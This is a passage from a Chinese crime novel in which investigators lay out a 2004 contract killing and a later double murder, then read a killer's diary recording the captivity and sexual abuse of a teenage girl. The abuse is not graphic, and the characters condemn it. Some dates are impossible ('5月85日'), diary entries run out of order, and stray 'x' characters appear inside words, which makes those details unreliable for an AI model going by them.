霍兵嘿嘿笑了:“人活一辈子,宁可站着死,也不要跪着生。” 吹完牛,他忽然发现徐罡正定定看着他,眼神不善,如尖刀般剜过来。 “干嘛?!”霍兵瞪向徐罡。 徐罡:“有个人满脸都是血,眼睛只剩下两个血窟窿没有眼珠,跟着你回来了。” 霍兵根本不怕,他知道徐罡这是在装傻,“警察不在,少装神弄鬼。” 徐罡仿佛没听见似的,“他在摸你的脸。” 霍兵: 有人笑问:“男的女的?” 又有人说:“要是女鬼,你叫她别走。” 众人大笑。 这头霍兵是冥顽不灵、宁死不跪,不过他儿子可没有这么硬的气魄。 田海亮没能撬开霍兵的嘴,他也没有原地打转,而是马上转换目标,最后软硬兼施,顺利撬开了霍兵儿子霍冬冬的嘴巴。 霍冬冬手上不止有他父亲贩毒的证据,还有他父亲的两个记事本。 第38章第38章昨天,医院下达了病危通知书…… 昨天,医院下达了病危通知书。 随即张鸿禺被推进抢救室,在医生的竭力救治下,暂时挽回生命。 张越凝上午跟客户开会,中午来到医院,发现张家亲属们都在。 张鸿禺仿佛回光返照般,比前段时间都要精神。 他把所有人都叫到了病房里。 彭秀和张红芳各站一边,孩子们围站两旁。 “润嵩出事,我又住院,家里最近比较乱,但公司不能乱。润嵩副总这个位置,空出来后,要有人顶上去。” 没完全脱离危险的张鸿禺,心里还挂念着公司的事。 到这一步,老父亲还不肯放权,张芷琼有点无语,但也无可奈何。 她说:“我在物色人选。” “我已经有人选。” “谁啊?” “贺成。” 张芷琼微微一愣,随即道:“但是,爸你这边也离不开贺成呀。” 张鸿禺之所以这么安排,有他的打算,他不容置喙道:“贺成可以兼顾。再说了,说不定我晚上脚一蹬就走了。贺成跟了我这么多年,对集团业务熟稔,他是个人才,既然是人才就要充分用好。” “我知道了。”张芷琼没再反对,老爷子不是皇帝,他说的话不是遗诏,等他死后,他原本的安排又不是非遵守不可的,没必要在这个时候跟他硬杠。 “还有我的位置也早该空出来了。”张鸿禺睃了眼众人,“行政总裁的职位,还是芷琼你来。” 这是张芷琼期盼已久的职务,她父亲在临死前能交接给她,多少让她有些欣慰:“谢谢爸,我一定努力,不让爸爸失望。” “至于你现在总经理的位置……” 彭秀张红芳赖文斌等人满是期待地看着张鸿禺。 张芷琼不想让赖文斌爬上来,做她的绊脚石,毕竟总经理太重要了。 “爸,总经理的位置非同小可,务必要谨慎,我们最好私下商量一下。” “我没时间商量。”张鸿禺咳嗽起来。 站在他旁边的张红芳忙帮哥哥轻轻顺了顺气,“不要着急,慢慢说,我们都听你的。” 张鸿禺看向张越凝,“越凝,你辞职回鸿达,总经理由你胜任。” 众人震惊! 张红芳笑道:“越凝是律师,隔行如隔山的,这合适吗?” 张芷琼虽觉得意外,但在她看来,这是老爷子重视她张芷琼的表现,不由马上呛回去。 “越凝大学辅修商业管理,在家里又是耳濡目染的,稍微一扶就能上马,况且我也会盯着她,没什么不合适的。” 张鸿禺有提前跟张越凝通气,她有心理准备,便只轻轻笑道:“谢谢爷爷信任。” 张红芳尴尬笑着,她儿子赖文斌比她识趣会拍马屁,“我们坚决拥护舅舅的决定。” 彭秀心底也很失望,儿子没了,孙子上不去,她借着悲痛未散,便没说话。 张蕤帆肯定站在张越凝这边,“我相信越凝有这个能力。我也会力所能及,帮她尽快适应鸿达的环境,爷爷您放心。” 张鸿禺虽身患重病,但心还跟明镜似的,他知道这些人都各怀鬼x胎。 可都这时候了,他已无能为力,只能装糊涂。 “我走后,你们要团结一心,鸿达才能发展好。至于遗产,我已经立好遗嘱,做了公证。” 说到遗产,大家心思又活泛了。 “为了避免以后出麻烦,遗嘱里的财产不包含鸿达股份。前两天,我已经把我手中的鸿达股份提前转出去了。” 鸿达股份转出去了? 这事张芷琼完全不知情,所以跟她无关? 她惊讶地僵住了脸,“爸,你把鸿达股份转给谁了?” 其他人也都好奇地看向张鸿禺,如果连张芷琼都不知情,那是不是在座都有可能分杯羹? 只有张越凝平静无比。 恰在此时,贺成敲门进来,小声说:“警察来了。” 这个时候警察过来,不是为了张皓钧案就是为了赵润嵩案。 张越凝赶忙出去,只见陆从景、木棉和程栋梁站在客厅等候着。 她跟他们打招呼,“你们今天来是……” 程栋梁:“张小姐,我们来执行任务。” 陆从景看病房内这么人齐,可见来的正是时候。 他和张越凝对视了一眼,笑道:“我来凑凑热闹。” 病房内其他人都跟着出来了。 彭秀看见上次盘问她的程栋梁,当即沉下脸质疑:“你们这些警察究竟有完没完,我们是受害者家属,没见你们去抓凶手,天天逮着我们问问问,再好的脾气也好不了的。” 张红芳也有不满,便跟着抱怨:“是啊,也折腾我们文斌跟嘉和,好赖不分,那么久了,也没见找到凶手。” “彭秀女士,”程栋梁盯着彭秀,“请问,张皓钧的死,你知不知情?” “你什么意思?我怎么会知情呢?!” 程栋梁再问了一句:“你不知情?” “我不知情。” 张蕤帆护着他奶奶,大声喝了一句:“你们不要太过分。我们是受害者家属。” 程栋梁:“张蕤帆是吧?张皓钧的死跟你无关,请你冷静,站在一边!” 说着,她转向站在最外面的贺成:“贺成,我现在问你最后一次,彭秀生日宴时,你有没有听见赵润嵩和邹富贵吵架的内容?你是不是还有其他的隐瞒?” 她强调:“我给你最后一次机会,你如果不说实话,你对得起你的老板吗?” 贺成没想到警察会把矛头怼向自己,他尴尬愣住。 张芷琼听警察质问彭秀的语气,知道事态严重,她责备贺成:“贺成,你要跟警察说实话。” 贺成有些无奈:“不是我不说实话。而是我听的不是那么清楚,所以不敢乱说。我隐隐约约听见邹富贵说,警察找到他了,他要去什么地方避避风头,要赵润嵩给他三百万。赵润嵩埋怨他把事情搞得一塌糊涂,他自己是被连累的,死了那么多人,完全不是他的本意。” 程栋梁:“截止赵润嵩说这句的时候是5条人命,现在是7条人命了!不,9条人命,还有因失孤自杀的梁小宇母亲,和被车撞死的缅甸杀手。” “所以,”话锋一转,程栋梁转回彭秀,“你跟赵润嵩在酒店包厢商量的是三百万‘大单’,不是三十万!” 彭秀矢口否认:“润嵩只是告诉我,邹富贵索要三十万。这三十万也是因为润嵩不愿意帮邹富贵把汇海纳入鸿达供应商系统,邹富贵以公布他们以前……” 到这个时候了,彭秀也就不好再隐瞒邹富贵和赵润嵩的关系,“公布他们以前是恋人关系作为要挟,他就是想跟润嵩要钱。” 恋人关系? 本来听见警察质疑彭秀已经很吃惊的吃瓜群众张红芳当即跟儿子儿媳交换了个意味深长的眼神。 彭秀强调:“跟什么人命没关系,贺成他根本就是没听清。” 贺成张了张嘴想说什么,最终还是选择闭嘴。 程栋梁不想在这里多解释:“你否认也没用,我们有证据证明,你是张皓钧案的主谋之一。请吧,回去跟我们说清楚,还有张……” “不能走!”带着点颤音的声音从病房里传出来。 张鸿禺用自己最大的音量艰难说道:“在这里说清楚,我有……我有知情权……在我死之前,我要知道真相……究竟是谁杀了皓钧!贺成,不能让他们走。” 闻言,贺成走前来协调:“几位警官,我们董事长想知道案件始末,希望你们理解受害者家属的心情,他现在是强撑着等待真相……你们能在这里说清楚吗?” 作为律师,张越凝知道这事不符合规矩,她看向陆从景:“警察不能多说,但陆顾问你可以,能不能麻烦你……” 警察不方便细说案情,陆从景虽然也需要对案情进行保密,但个人推测他是可以说的。 程栋梁不是难说话的人,便跟陆从景点了点头。 随后木棉进行清场:“麻烦你们几个暂时回避。” 木棉指的是张红芳一家四口和贺成。 回避的都是案件无关者。 这么大的热闹就在眼前,张红芳当然不愿意走:“我们也是亲属。” “请回避。”程栋梁坚持。 张红芳站着不动。 张鸿禺不耐烦地呵斥:“你们先回去。” 大哥发话了,张红芳也没办法,但她不愿意就这么走了,股份和遗产都没说清楚呢。 “大哥,我不放心。我们在外面等。” 里间病房的张鸿禺挥挥手,不想说话。 贺成便把张红芳、赖文斌夫妇以及赖嘉和一起请了出去。 少了五个人,客厅和病房都宽敞了。 周围空间一宽阔,人心反而像是找不到支点,彭秀心底多少有点慌。 木棉心情复杂地瞪着彭秀,谁能想到,这个看着慈眉善目的老太太,是导致她姐姐死亡的凶手。 一旁的彭秀感受到了她的不善,彭秀专挑软柿子捏似的,压着嗓音质问:“小姑娘,你这样看着我干什么?” 木棉目光带刺:“你不能看吗?我站在这里的职责就是盯着你!” 彭秀语塞,她委屈地看向孙儿张蕤帆。 此时张蕤帆心情也很复杂,他不敢相信奶奶是杀张皓钧的凶手。 为了让张鸿禺听清楚,陆从景站在了病房和客厅之间,“那我就简单说说,事先声明,很多都是我的个人猜测,不代表警方的调查。” “请说。” “2004年,张鸿禺老先生重病,他立下遗嘱,几乎把所有的遗产都给了孙子张皓钧。彭秀作为张鸿禺的第三任伴侣,分到手的财产只有一些房产和存款,对于普通人来说已经很多,但对于彭秀赵润嵩母子,那是远远不够的。” 陆从景看向彭秀,想起了昨天钟德华的话。 钟德华形容,跟邹富贵对接的买家家属,是女的,听声音,年龄偏大,非常干脆利落,一定要按照原定计划杀掉张皓钧。 “彭秀想起跟赵润嵩关系非同寻常的邹富贵早几年在道上混,以他们两个人的关系,你相信,邹富贵不会出卖赵润嵩,你便让赵润嵩联系邹富贵,花钱让他找人杀掉张皓钧。邹富贵不负重托,他托朋友在缅甸找了个专业杀手,制定好计划,决定动手之前,赵润嵩特意去香港出差一个星期,以表示他没有作案时间。” 面对陆从景的指控和咄咄逼人的眼神,彭秀极力反驳:“我没有,你这是冤枉我这个老婆子。你们可能不知道,皓钧死后,遗产也不会多我一分。” “你不用着急反驳我,如果动机不是遗产,那就是因为别的原因。一个能让你们冒险灭口的原因,应该也不是什么好事吧?” 彭秀闭嘴了。 “非常不巧,缅甸杀手来到临城后,还没干活,就出车祸死了。邹富贵想要往后拖延时间重新找杀手,他联系不上已经去了香港的赵润嵩,只能联系你——彭秀。”见彭秀又要反驳,陆从景说:“有通话记录,你不用反驳我。” 陆从景不是警察,他是真可以用谎言诓骗对方的。 “有通话记录”这话一出,彭秀本就只是强撑着的气焰瞬间弱了好几层。 陆从景盯着彭秀继续:“那段时间,张鸿禺病重,时间对你来说很重要,你一定要确保张皓钧死在张鸿禺前面。张皓钧一死,张鸿禺肯定会受不住刺激,也会跟着离世。由于遗嘱继承人死在张鸿禺前面,遗嘱依法作废,你作为张鸿禺二十多年的实际同居伴侣,事实夫妻,你可以依照法律,主张对张鸿禺名下股份和其他资产进行重新分配。所以你坚决不同意往后拖。” “邹富贵没办法,只好找经常往来缅甸的霍兵帮忙。时间太急,霍兵也找不到专业杀手,他认为,对付一个高中生,没有太大难度,便找了他正需要钱和x工作的同学曾立兴充当杀手。当时吊颈杀手系列案件在社会上影响很大,他们想了一个办法,学习吊颈杀手崔雄伟的作案手法,吊杀张皓钧,把杀害张皓钧的锅顺利甩给了崔雄伟。” “曾立兴吊杀张皓钧后,在离开的路上,不巧遇到了熟悉他的梁小宇和夏木橙,他怕事情败露,就把这两个孩子给囚禁了,之后曾立兴去住院,霍兵杀害梁小宇,囚禁夏木橙,并在两年后杀害夏木橙,之后他和曾立兴一起将夏木橙埋尸食品厂。2012年,食品厂旧址拆迁准备开发成住宅小区,霍兵和曾立兴怕事情败露,便偷偷把夏木橙的尸骨移到怪楼,藏在地藏王菩萨的莲花底座里。” 陆从景一口气,非常简约地叙说完,屋子里死一般寂静,没人说话,也没人反驳。 无形的惊涛骇浪在各人心中翻滚,特别是张鸿禺。 滴滴滴滴滴滴…… 监护仪上的警报声打破了屋内的沉默。 “爸!” “爷爷!” 很快医生进来了,医生让他们都出去,但被张鸿禺阻止。 “我没事……我能挺住。” 待张鸿禺心跳慢慢恢复后,医生被请出去。 “陆警官,你继续!”张鸿禺强撑着,他要知道所有的真相。 陆从景再次强调:“我不是警察。” 语毕,他继续:“直到5月底,夏木橙骸骨被人发现,警方顺藤摸瓜查到邹富贵的头上。邹富贵意识到自己被怀疑之后,他想去缅甸避风头,但他不能就这么白白去了,他要你们给他补偿。你们杀了张皓钧之后,为了避嫌,不再与邹富贵来往,邹富贵只能通过自己的办法,找到泰吉酒店把赵润嵩逼出来跟他见面。” “张皓钧死后,出乎你们意料之外的是,张老先生很坚强,他奇迹般活了下来。虽然没有如愿继承遗产,但这10年时间里,张鸿禺对你们祖孙三人更为依赖,他给了你们足够多的好处,彭秀手里的资产和钱是翻了好几倍。在邹富贵眼里,张皓钧没有白杀,他有很大的功劳,所以他狮子大开口问赵润嵩索要三百万,两人为此吵起来。贺成听见后去劝架,他们只好去车上继续争吵,在这个过程中,邹富贵强吻赵润嵩,恰好被停车的张蕤帆看见了。” 陆从景看向张蕤帆。 众人闻言,各个心情复杂。 张芷琼不屑地摇了摇头。 “张蕤帆很生气,他气冲冲走前去,要拍车门的时候,他忍住了。彭秀生日午宴之后,彭秀和赵润嵩商量决定,为了堵住邹富贵的嘴,彭秀答应给邹富贵钱,让他走。为此,彭秀去银行取了30万作为订金,剩下的尾款怎么付,让赵润嵩去跟邹富贵商量。我猜测,当天中午,张蕤帆就找了赵润嵩。” 陆从景面向张蕤帆,“你逼问赵润嵩在车上的苟且行为。赵润嵩不得不跟你说了部分实话,你这才知道,张皓钧是你父亲找邹富贵杀的,你认为父亲有这么大的把柄握在邹富贵手上太过危险,这个祸害,不能留。你成功说服了赵润嵩,父子俩决定晚上去围杀邹富贵。” 张蕤帆不敢置信地瞪向陆从景:“你胡说什么?!” 之后对着张越凝解释:“这人找不到凶手在这里胡说八道!” 张越凝此时神情略复杂,但面上还是很理智,“你听陆顾问说完。” 第39章第39章走了半圈,陆从景最终停在张…… 走了半圈,陆从景最终停在张蕤帆面前。 “到了晚上,你们父子俩分开出发。赵润嵩拿着彭秀给的30万订金先行;你约了朋友去酒吧街,之后转战西云街的西海大排档。22点左右,你借口上洗手间,在洗手间蹲了将近半小时才回来。” 张蕤帆辩解:“我吃坏东西拉肚子。” 陆从景往前走,卡在彭秀和张蕤帆之间,“在张蕤帆消失的这半小时时间里,他去了通河片区邹富贵的大杂院。虽然云西街跟通河属于两个区,听起来好像距离很远,开车要绕路,确实不近,但两者直线距离不足一公里,我们实地走过,慢的话13分钟,走快点,7分钟就能到。” “张蕤帆来到邹富贵家的时候,赵润嵩已经到了一段时间。邹富贵也给张蕤帆倒了一杯茶,三人很快达成协议,那就是赵润嵩给邹富贵300万,邹富贵远走他乡。同时,邹富贵把手上所有关于张皓钧案的证据都交给赵润嵩。订金30万,剩下的270万,应该是要通过其他渠道付给邹富贵或者他的家人。” “协议达成之后,张蕤帆要求邹富贵必须留一个把柄,以防邹富贵日后再来要挟。这个把柄,就是邹富贵写一张三百万的借条,为求真实,借款日期写在两年前。看在三百万的份上,邹富贵答应了要求。” 这就是三百万巨额借款,没有利息要求,没有还款日,没有担保的原因。 “邹富贵进书房写借条,赵润嵩在旁边看着他写,等邹富贵写完,赵润嵩趁他不注意,直接一枪打在邹富贵的太阳穴上。” 也只有这两人特殊的熟悉程度,赵润嵩靠近开枪而邹富贵毫无防备。 “听见枪响,张蕤帆跑进书房,他已经提前戴好手套,趁着赵润嵩刚杀完人,精神高度紧张的时候,他借口要把手枪上的指纹擦掉,顺利从赵润嵩手中接过枪,同时他塞给赵润嵩一副手套,让赵润嵩去客厅把该清理的痕迹清理一遍。” 赵润嵩来到客厅,擦拭桌面的杯子,之后整理沙发。 “沙发还没整理好,赵润嵩又听见一声枪响,随即他意识到,自己中枪了,他回过头,发现开枪的人,是他儿子。赵润嵩不可置信地瞪大眼,死不瞑目。” 听到这里,彭秀脸色几近惨白,她孙子杀了她儿子? 她不相信。 “不可能!你血口喷人!帆帆怎么可能杀他爸爸!” 张蕤帆没说话,彭秀先顶不住了,她大哭:“你们是什么警察呀!你们在这里信口雌黄、血口喷人!” 程栋梁警告:“你不要激动,不要大声说话。这里是医院。” 陆从景:“彭女士,我再强调一遍,我不是警察。我相信你听到这里也很震惊,你孙子杀了你儿子。我也相信,这件事你不知情,你不知道父子俩要杀邹富贵的事。如果你知情,你肯定不会在事发时给张蕤帆打电话,让他去找赵润嵩。你也不会把这个细节告诉警察。” “正因为你给张蕤帆打的这通电话,让警方能够通过基站进行定位,在事发当晚的22点43分,张蕤帆的手机信号确确实实出现在通河拆迁片区。” “不止这点,在通河拆迁区去云西街的小路上,有监控拍下了张蕤帆在事发当天下午3点45分提前去踩点的录像。” 正说着,木棉把新收到的照片拿给陆从景看。 陆从景不动声色地继续说:“张蕤帆杀死赵润嵩后,把借条塞进赵润嵩的衣兜里,他伪装好现场,拿走了自己喝过的玻璃杯还有赵润嵩带来的30万。” 他盯着张蕤帆:“这30万现金如今在哪里?” 张蕤帆迎着陆从景的目光,毫不畏惧地瞪回去:“既然你什么都清楚,那么麻烦你告诉我,这30万究竟在哪里?” 木棉举起手机,“张蕤帆,通告你一声,我们刚刚搜了你外婆留给你的一套老房子,在主卧保险柜里,找到了30万现金。这30万现金的冠字号码,跟彭秀从工商银行取出来的现金号码,完全对上了。” 铁证如山,张蕤帆闭嘴了。 当晚他把牛皮纸袋装着的30万现金偷偷放车尾箱,回到大排档继续喝酒的时候,他并没有想太多。 第二天醒来他才意识到这是个大错误。 他奶奶是知道赵润嵩带了30万现金去邹富贵家的,如果是邹富贵杀了赵润嵩后自杀,现场应该还有30万才对。 警察上门调查的时候,他以奶奶身体不适为由,拒绝了警方对她做笔录。 谁知警方绕了一圈,还是来盘问彭秀。 早知如此,应该早点一把火把30万现金给烧了。 他今天才知道杀害张皓钧,他奶奶是主谋,他父亲当时只跟他说,张皓钧是他父亲委托邹富贵杀的。 “我杀这两个狗男人,是为了给我妈报仇。如果不是他们不要脸乱搞,我妈不会自杀!他们该死!特别是,我知道是他们杀了皓钧之后,我就下定决心,杀了这两个恶心的狗东西!” 张蕤帆饱含泪水的双眼,看向了张越凝。 张越凝满脸的震惊x,她可能没想到事情会是这样,现在这个场合,她跟张蕤帆说什么都不合适,所以,不如不说。 “对不起,爷爷,对不起!”张蕤帆冲着病房喊了一声。 原本脸上就没有血色的张鸿禺,此时整张脸像晒干的猪肝,面如死灰。 彭秀瘫坐在沙发上,整个人像被抽掉了魂魄。 “事情大概就是这样。”陆从景问了一声,“还有什么疑问吗?” 屋内如寂静之地,没人说话。 陆从景看向彭秀:“你刚才不是说,你们杀张皓钧不是为了遗产吗?我倒是很想知道,你杀张皓钧真正的动机是什么?” 彭秀微微摇头,默不作声。 不说也没关系,去了审讯室,警察会让她说。 片刻之后,张芷琼打破了寂静,她问:“这个案件能不能低调处理,我不想家丑公告于天下。” 程栋梁:“开庭的时候,你们的律师可以跟法官申请,批不批准,我们说了不算。” 张越凝忽然问:“你为什么怕公开审理?” “我说了,不想家丑外扬。”张芷琼气得瞪了女儿一眼,想让她别再问了。 但张越凝完全无视她的暗示,“我想知道,彭秀和赵润嵩要杀皓钧的事,你知情吗?” 虽然母女俩平时关系很一般,但张芷琼没想到女儿会当着其他人的面咬自己,“张越凝,你想造反?” “我跟爷爷一样,只是想知道真相。” 张芷琼指着彭秀:“他们母子两个要杀皓钧,我怎么会知情?” “2004年,皓钧被杀的前两天,秦姨在走廊搞卫生的时候,刚好彭秀在房间里接电话,你以为秦姨在偷听,就把她叫过去说了一顿,秦姨前脚刚离开,你自己后脚就站在窗外偷听。我刚才听陆顾问说2004年9月22日那天,邹富贵联系不上赵润嵩,所以联系彭秀商量杀皓钧的事,这不就正巧吗?” 张芷琼解释:“秦姨这张嘴真是!我那天在窗外站了会儿就走了,彭秀要杀人,怎么可能大声说话,我当然不可能听见。我如果听见了,皓钧不会死!” 张越凝显然并不相信:“从小学到高三,无论是上学还是放学,无论是下雨还是下雪,你从来没接送过我。就一次例外,那就是皓钧被杀那天,你说你在附近银行办事,顺便来学校接我回家。一个从来不关心我的人,忽然来接我放学,你知不知道,这件事我怀着感恩的心,放在心底记了十年。现在想想,这真是巧合吗?还是说,你知道那天皓钧会出事,你怕我跟皓钧在一起会出意外,你怕你未来没了依靠,所以你选择来接我回家,而且我还能做你的时间证人,是这样吗?” “在你心里,我就这么不堪?”张芷琼痛喝了一声。 张越凝:“妈,你就如实告诉我,你知不知情?你说什么我都相信。我只是不想心底有疙瘩。” 张芷琼气得不想说话。 但这个时候,她真正要面对的不是张越凝,而是病房里的张鸿禺,她不得不回应:“我完全不知情。” 又是片刻的静默。 “我没其他问题了。”张越凝结束了话题。 木棉能感受到张越凝对于无法摆脱张芷琼的满心无奈。 门外传来脚步声,大门打开,田海亮带人来了。 彭秀和张蕤帆被带走。 张红芳一家站在门口想进来,又不敢进。 大戏似乎还要继续开演。 回去路上,木棉坐在副驾室,满心惆怅。 案子破了她好像没有那种喜极而泣的开心,毕竟还有重要疑点未解开。 木棉重重叹了一声,想起张越凝,不由替她担心道:“凝姐刚才当众质疑张芷琼,等我们走了,张芷琼会不会为难她?” 开车的陆从景不以为然:“张家现在只剩下一棵独苗,不至于。” “她是抱养的,在张家人眼里算不上独苗吧。” 陆从景:“她当着张鸿禺的面质疑张芷琼,表面上看有点鲁莽,但你代入张鸿禺细想,会不会觉得张越凝质疑的有点道理?” 木棉点头:“不用代入张鸿禺,我都认为凝姐质疑的非常有道理,张芷琼很大可能就是知情的,她确实听到了彭秀要杀张皓钧,但她当做没听见。这个女人为了利益是没有底线的,你看她后来为了对付张红芳一家,还跟彭秀赵润嵩联手。在她眼里,哪里有什么亲情,都是利益至上!” “连你都这么想,作为当局者的张鸿禺会不会想的更多?” 有道理。 木棉心底松快了些,“师兄,你说张鸿禺会怎么做?” “如果是我……我会扶孙女上位,起码看着靠谱点。”陆从景说完,看着远处的红绿灯,陷入沉思。 聊了会儿,木棉才问:“我们去哪儿?” “回队里梳理一下资料,还有好几个疑点没整明白。” “我也是。” 她姐姐腹中胎儿究竟是谁造的孽,还没个结果。 木棉很郁闷:“唯一的知情者霍兵知道自己必死无疑,他现在什么都不愿意交待,还有什么办法能撬开他的嘴?” “等会儿程姐要审彭秀,看彭秀愿意交待多少吧。不过很多细节彭秀可能也不知情,不要抱太大的希望。” 木棉明白,“我去把霍兵的人际关系网重新梳理一遍,特别是2004年之后的踪迹。” 回到刑侦大队,大家分头工作。 张芷琼回到家,她先去前宅逛了一圈。 前宅的保姆说警察来过,搜了几个房间,带走了一些东西。 她没多问,往后宅走去,进屋看见秦姨带着两个保姆在大扫除。 她站在秦姨面前,上下打量着对方。 “你嘴挺多,什么都跟张越凝说,是吧?” 秦姨尴尬笑了笑,“啊?” “还给我装!收拾东西,今天就给我走人。” 秦姨也没多问,她解下围裙,“那我就……我去越凝那边了。” “你什么意思?” “刚才越凝打电话来,让我收拾东西去她新买的房子那边跟她一起住。” 张芷琼: 反天了! 第40章第40章陆从景研究霍兵的资料,他翻…… 陆从景研究霍兵的资料,他翻阅霍冬冬提供的霍兵记事本,是一本蓝色的巴掌大的厚本子。 记事本的字迹歪歪扭扭,非常潦草,记录了从2000年到2010年这十年间的大小事。 除了追债、打人、开厂、给老大干活外,就是喝酒和舒坦! 他快速翻到2004年9月的记录,整个9月就三条记录。 【2004年9月20日,今天舒坦了】 【2004年9月22日,有钱人真有意思,做事真绝!】 【2004年9月25日,真嫩,好久没这么爽!娇是真有办法,老曾那废物惹的麻烦,但我谢谢他,钱和工作都不会少了他。】 往后是10月份、11月份的。 【2004年10月8日,脖子被小猫咪抓了一道血印子,舒坦!】 【2004年10月15日,又挠我一脸,妈的,打了一顿】 【2004年11月2日,给小猫换了个地方,想舒坦没舒坦成,又抓老子,把指甲给拔了】 舒坦应该就是交媾。 而被拔指甲的小猫大概率是夏木橙。 不敢想象这个女孩在被囚禁期间经历了什么。 一路看下来,血液禁不住往脑门上翻涌,这霍兵就是个畜生! 这如果给木棉看到了,她会难受死。 继续往后翻阅,“小猫咪”字眼出现了四次。 【2005年4月21日,小猫咪被打怕了,有点可爱。真舒坦。】 【2005年9月10日,小猫咪被熊发现了,天天来找,真能舒坦,敢怒不敢言,还怀上了,草!】 【2005年1月2日,找娇帮忙,被骂死,小猫咪已经堕不了胎】 【2005年1月7日,小猫咪死了,死了也好,一了百了】 这放乱世,真想把霍兵这狗杂种千刀万剐。 里面的熊和娇是谁? 霍兵合作的几个人,曾立兴直接叫老曾,邹富贵叫老邹,骆金水叫老大,熊只出现一次,但不知道是谁。 让夏木橙怀孕的是熊,能让霍兵敢怒不敢言的人,肯定不简单。 合上本子缓了缓,陆从景重新打开,从头开始翻阅,他发现2002年的记录特别多。 【2002年5月85日,初中同学会,吊事真多,娇还是老样子,好舒坦】 【2002年5月20日,娇娇真他妈舒坦】 【2002年5月25日,天天这么舒坦,人都要死。伟哥救我。】 【2002年7月3日,一日不见如隔三秋,舒坦。】 【2003年5月85日,一周年,x舒坦。从来不需要操心,也不会被婆娘发现,娇说她咸鱼小说和谍战片看多了,像特务,比我们爷们还有脑子。】 咸鱼小说? 哦,悬疑小说。 他想起曾立兴家那满柜子的侦探悬疑书籍。 陆从景忽然之间想通了什么,他站起身发现,办公室里只有他和小耿在。 他问小耿要曾立兴出事当天早上机械厂家属院前门和后门的监控录像。 小耿帮他通过内网调取了档案库里的监控视频,陆从景果然在视频中找到了他要找的画面。 他给刘泰安打了个电话。 “我要跟戴丽华聊聊。” 刘泰安回绝:“你不是警察,你不能审讯她,这不符合规矩。” “我不是要审讯她,我是想采访她,跟她聊聊,我帮你破案,这个忙你都帮不上?” 陆从景话说的很不客气,刘泰安被气死了。 “你给老子记住,你不是帮我个人破案!” 会见室里,戴丽华被带进来了。 这里比审讯室好的地方就是,有窗户,有阳光。 陆从景走到窗边,把百叶窗拉下来关好,今天不需要太阳。 程栋梁坐在戴丽华对面,冷冷盯着她。 戴丽华被关了那么多天,最近没人来审问她,她也不知道案件进展怎样了。 “警察同志,什么时候能放我回家?” 程栋梁不说话。 陆从景站在一侧也只盯着她。 诡异的沉默,无形中给人以压力。 戴丽华忐忑不安地眨了眨眼,过了好一会儿,她打破沉默似的,“你们问吧。” 程栋梁翘起双手,依然不说话。 陆从景走到戴丽华前面,问她:“你跟霍兵是什么关系?” “同学。” “只是同学吗?” 戴丽华不看陆从景,“只是同学。” 陆从景:“霍兵的儿子霍冬冬给警方提供了一本霍兵的记事本,在记事本里,霍兵详细记录了你们两个的关系。2002年5月85日,初中同学会期间你们旧情复炽,之后各自背着自己的家庭开始玩地下情。” 戴丽华轻轻咬了咬牙,她可能没想到霍兵会在小本子上记这些事。 “这不犯法吧?” 确实。 陆从景语气和缓:“出轨不犯法,但杀人犯法。” 戴丽华抬眼看向陆从景,她眼里布满血丝,很显然,被关这几天她都没休息好。 对于她杀人的指控,她意外的非常冷静,良久,才语气坚定地否认:“我没杀人。” “你有。” 陆从景单手撑在桌上,“霍兵要帮邹富贵杀张皓钧,时间太紧了,他为找杀手的事犯愁,你便给他推荐了你老公,酬劳就是霍兵帮曾立兴解决工作问题,同时,他还给了你们一笔钱。” “早前,我们在你家发现了很多悬疑侦探类的小说,你告诉我们,是曾立兴喜欢看,实际不是他喜欢,而是你喜欢看。你不止喜欢看侦探小说,还自认为很有这方面的天赋。在杀张皓钧这件事上,你充当了军师的角色。” “你建议模仿吊颈杀手崔雄伟的作案手法来杀害张皓钧,并以此制定了全套计划。在杀张皓钧当天,你安排曾立兴去医院准备做肾结石手术,曾立兴办理住院手续后,因为他第二天才做手术,医院管的并不严,他能偷偷溜出去杀张皓钧。” “原本计划一切顺利,谁知曾立兴在杀了张皓钧后,下山途中遇到了梁小宇和夏木橙,这两人对曾立兴太熟悉了,躲都躲不过,曾立兴只好把两个孩子骗去天水坝。在路上,我猜曾立兴肯定偷偷跟你联系,问你怎么处理。而你认为最好的办法,就是把两个孩子也杀了。但你怕曾立兴莽撞会留下破绽,你就让他先迷晕孩子,剩下的事,交给你和霍兵处理。” 戴丽华面无表情地听着,看不出任何的情绪,只有双眼,多了一丝杀气。 陆从景接着往下说:“当时卢照麟不在临城,曾立兴知道值班房钥匙压在门前石头下,他取出钥匙,把两个孩子一个一个骗进值班房,理由嘛,有可能是让孩子进去拿钓鱼的工具,或者骗孩子屋里有鱼要拿……他先让梁小宇进屋,用迷晕张皓钧的乙醚,把梁小宇、夏木橙依次迷倒后绑了起来。” “之后曾立兴回医院,你和霍兵去处理那两个孩子。霍兵很不高兴,他就是不想亲自动手杀人,才找的曾立兴,谁知道自己还是被卷进去了。可事已至此,他也没办法,只能抱怨曾立兴办事不力。” “你们想把梁小宇和夏木橙伪造成溺水而亡,考虑到他们身体里有吸入的乙醚,看多了破案小说的你担心他们体内有残留,在尸检的时候会被发现;同时,你还害怕警察把他们的死与张皓钧被杀联系在一起。所以,你成功说服霍兵,决定拖延到2天后再杀他们。” “在这段时间里,霍兵拿着梁小宇的手机,给他妈妈发短信报平安。而你则帮梁夏两家找孩子,我猜天水坝那一带是你跟许忠负责去找的,让小偷抓小偷,能抓到小偷吗?结果显而易见。这期间,你还偷了梁小宇的泳衣,有你这样的所谓亲朋,偷个泳衣有难度吗?没有。” 听到这儿,戴丽华不免嘴角往上一扯,笑了。 程栋梁看了就来气,“不许笑!” 戴丽华挑衅似地笑着瞟了程栋梁一眼,随后看向陆从景:“你继续。” 陆从景没受任何影响:“你可能还想偷夏木橙的,但夏木橙没有泳衣,她不会游泳,你让霍兵花钱给她买了一套。杀梁小宇和夏木橙的时候,我猜你不在天水坝现场,你负责把寻找的人引开,确保那个时间段不会有人去天水坝。霍兵把梁小宇的头按在水塘里,制造游泳溺亡假象后,抛尸临花江。” “原本不高兴的霍兵为什么最后非常积极地来处理,因为夏木橙长相出众,这让霍兵起了歹念,他瞒着所有人,偷偷把夏木橙囚禁起来。这件事一开始你并不知情,以为夏木橙的尸体被水冲走了没找到。直到2005年1月2日,霍兵来找你帮忙给夏木橙打胎,你这才知道夏木橙还没死。” “你很生气,可又没办法,那个时间点,夏木橙怀孕月份太大,没办法打胎,只能把孩子生下来。”陆从景走向戴丽华,“你知道夏木橙肚子里的孩子是谁的吗?” 戴丽华眉毛一挑,“知道。” 